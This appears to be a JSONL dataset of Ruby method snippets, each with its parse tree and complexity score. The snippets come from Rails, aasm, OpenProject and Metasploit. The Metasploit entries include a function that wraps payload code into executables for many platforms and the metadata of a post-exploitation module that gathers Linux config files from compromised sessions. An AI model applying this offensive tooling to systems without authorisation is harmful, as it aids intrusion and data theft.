{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/driver.rb","start_line":523,"raw_source":"def unknown_command(method, line)\n    if File.basename(method) == 'msfconsole'\n      print_error('msfconsole cannot be run inside msfconsole')\n      return\n    end\n\n    [method, method+\".exe\"].each do |cmd|\n      if command_passthru && Rex::FileUtils.find_full_path(cmd)\n\n        self.busy = true\n        begin\n          run_unknown_command(line)\n        rescue ::Errno::EACCES, ::Errno::ENOENT\n          print_error(\"Permission denied exec: #{line}\")\n        end\n        self.busy = false\n        return\n      end\n    end\n\n    if framework.modules.create(method)\n      super\n      if prompt_yesno \"This is a module we can load. Do you want to use #{method}?\"\n        run_single \"use #{method}\"\n      end\n\n      return\n    end\n\n    super\n  end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"unknown_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"msfconsole\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"msfconsole cannot be run inside msfconsole\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]},\"+\",{\"type\":\"str\",\"children\":[\".exe\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"command_passthru\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"FileUtils\"]},\"find_full_path\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"busy=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_unknown_command\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"EACCES\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ENOENT\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Permission denied exec: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"busy=\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"return\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"modules\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"prompt_yesno\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"This is a module we can load. Do you want to use \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"run_single\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"use \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]},null]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"23b953a0-c559-4ad8-99b3-f94044820ec6"}
{"repo_name":"aasm","file_path":"./repos/aasm/lib/aasm/core/invokers/proc_invoker.rb","start_line":14,"raw_source":"def log_failure\n          return log_source_location if Method.method_defined?(:source_location)\n          log_proc_info\n        end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"log_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Method\"]},\"method_defined?\",{\"type\":\"sym\",\"children\":[\"source_location\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_source_location\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"log_proc_info\"]}]}]}","id":"a51535d9-c88e-4df0-9489-5ecfe1a45d4a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/one_drive_managed_folder_permissions_service.rb","start_line":115,"raw_source":"def auth_strategy = Adapters::Registry.resolve(\"one_drive.authentication.userless\").call","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"auth_strategy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Adapters\"]},\"Registry\"]},\"resolve\",{\"type\":\"str\",\"children\":[\"one_drive.authentication.userless\"]}]},\"call\"]}]}","id":"a73bd7f6-2fb0-4d7f-aada-64279e889e8c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi_audio.rb","start_line":28,"raw_source":"def self.has_command?(name)\n            Dispatchers.any? { |klass| klass.has_command?(name) }\n          end","complexity_score":3.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"has_command?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dispatchers\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"has_command?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"ee371e0c-9c27-4c7e-bff4-6ff42c5f1b32"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/exe.rb","start_line":105,"raw_source":"def self.to_executable(framework, arch, plat, code = '', opts = {})\n    if elf? code or macho? code\n      return code\n    end\n\n    if arch.index(ARCH_X86)\n\n      if plat.index(Msf::Module::Platform::Windows)\n        return to_win32pe(framework, code, opts)\n      end\n\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_x86_elf(framework, code)\n      end\n\n      if plat.index(Msf::Module::Platform::OSX)\n        return to_osx_x86_macho(framework, code)\n      end\n\n      if plat.index(Msf::Module::Platform::BSD)\n        return to_bsd_x86_elf(framework, code)\n      end\n\n      if plat.index(Msf::Module::Platform::Solaris)\n        return to_solaris_x86_elf(framework, code)\n      end\n\n      # XXX: Add remaining x86 systems here\n    end\n\n    if arch.index(ARCH_X64)\n      if (plat.index(Msf::Module::Platform::Windows))\n        return to_win64pe(framework, code, opts)\n      end\n\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_x64_elf(framework, code, opts)\n      end\n\n      if plat.index(Msf::Module::Platform::OSX)\n        return to_osx_x64_macho(framework, code)\n      end\n\n      if plat.index(Msf::Module::Platform::BSD)\n        return to_bsd_x64_elf(framework, code)\n      end\n    end\n\n    if arch.index(ARCH_ARMLE)\n      if plat.index(Msf::Module::Platform::OSX)\n        return to_osx_arm_macho(framework, code)\n      end\n\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_armle_elf(framework, code)\n      end\n\n      # XXX: Add remaining ARMLE systems here\n    end\n\n    if arch.index(ARCH_AARCH64)\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_aarch64_elf(framework, code)\n      end\n\n      if plat.index(Msf::Module::Platform::OSX)\n        return to_osx_aarch64_macho(framework, code)\n      end\n\n      # XXX: Add remaining AARCH64 systems here\n    end\n\n    if arch.index(ARCH_PPC)\n      if plat.index(Msf::Module::Platform::OSX)\n        return to_osx_ppc_macho(framework, code)\n      end\n      # XXX: Add PPC OS X and Linux here\n    end\n\n    if arch.index(ARCH_MIPSLE)\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_mipsle_elf(framework, code)\n      end\n      # XXX: Add remaining MIPSLE systems here\n    end\n\n    if arch.index(ARCH_MIPSBE)\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_mipsbe_elf(framework, code)\n      end\n      # XXX: Add remaining MIPSLE systems here\n    end\n\n    if arch.index(ARCH_RISCV32LE)\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_riscv32le_elf(framework, code)\n      end\n      # TODO: Add remaining RISCV32LE systems here\n    end\n\n    if arch.index(ARCH_RISCV64LE)\n      if plat.index(Msf::Module::Platform::Linux)\n        return to_linux_riscv64le_elf(framework, code)\n      end\n      # TODO: Add remaining RISCV64LE systems here\n    end\n\n    nil\n  end","complexity_score":89.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_executable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"framework\"]},{\"type\":\"arg\",\"children\":[\"arch\"]},{\"type\":\"arg\",\"children\":[\"plat\"]},{\"type\":\"optarg\",\"children\":[\"code\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"elf?\",{\"type\":\"lvar\",\"children\":[\"code\"]}]},{\"type\":\"send\",\"children\":[null,\"macho?\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"code\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Windows\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_win32pe\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_x86_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"OSX\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_osx_x86_macho\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"BSD\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_bsd_x86_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Solaris\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_solaris_x86_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Windows\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_win64pe\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_x64_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"OSX\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_osx_x64_macho\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"BSD\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_bsd_x64_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"OSX\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_osx_arm_macho\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_armle_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_AARCH64\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_aarch64_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"OSX\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_osx_aarch64_macho\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_PPC\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"OSX\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_osx_ppc_macho\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSLE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_mipsle_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_MIPSBE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_mipsbe_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_RISCV32LE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_riscv32le_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arch\"]},\"index\",{\"type\":\"const\",\"children\":[null,\"ARCH_RISCV64LE\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plat\"]},\"index\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Module\"]},\"Platform\"]},\"Linux\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_linux_riscv64le_elf\",{\"type\":\"lvar\",\"children\":[\"framework\"]},{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},null]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"e5ec0306-d975-4c8c-8232-d065be75bb6c"}
{"repo_name":"rails","file_path":"./repos/rails/actioncable/lib/action_cable/channel/test_case.rb","start_line":249,"raw_source":"def subscribe(params = {})\n          @connection ||= stub_connection\n          @subscription = self.class.channel_class.new(connection, CHANNEL_IDENTIFIER, params.with_indifferent_access)\n          @subscription.singleton_class.include(ChannelStub)\n          @subscription.subscribe_to_channel\n          @subscription\n        end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"subscribe\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"params\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@connection\"]},{\"type\":\"send\",\"children\":[null,\"stub_connection\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@subscription\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"channel_class\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"connection\"]},{\"type\":\"const\",\"children\":[null,\"CHANNEL_IDENTIFIER\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"with_indifferent_access\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subscription\"]},\"singleton_class\"]},\"include\",{\"type\":\"const\",\"children\":[null,\"ChannelStub\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@subscription\"]},\"subscribe_to_channel\"]},{\"type\":\"ivar\",\"children\":[\"@subscription\"]}]}]}","id":"d94a7140-8be3-4f17-8c37-450ceb13fef6"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/message_verifiers_test.rb","start_line":38,"raw_source":"def roundtrip(message, signer, verifier = signer)\n      verifier.verified(signer.generate(message))\n    end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"roundtrip\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]},{\"type\":\"arg\",\"children\":[\"signer\"]},{\"type\":\"optarg\",\"children\":[\"verifier\",{\"type\":\"lvar\",\"children\":[\"signer\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verifier\"]},\"verified\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"signer\"]},\"generate\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}","id":"42964144-7f9a-4379-9ebc-c34712e2e30e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/linux/gather/enum_configs.rb","start_line":9,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Linux Gather Configurations',\n        'Description' => %q{\n          This module collects configuration files found on commonly installed\n          applications and services, such as Apache, MySQL, Samba, Sendmail, etc.\n          If a config file is found in its default path, the module will assume\n          that is the file we want.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'ohdae <bindshell[at]live.com>',\n        ],\n        'Platform' => ['linux'],\n        'SessionTypes' => ['shell', 'meterpreter'],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Linux Gather Configurations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module collects configuration files found on commonly installed\\n\"]},{\"type\":\"str\",\"children\":[\"          applications and services, such as Apache, MySQL, Samba, Sendmail, etc.\\n\"]},{\"type\":\"str\",\"children\":[\"          If a config file is found in its default path, the module will assume\\n\"]},{\"type\":\"str\",\"children\":[\"          that is the file we want.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ohdae <bindshell[at]live.com>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]},{\"type\":\"str\",\"children\":[\"meterpreter\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"f7744928-69fa-4aa6-b9bc-94568edd328f"}
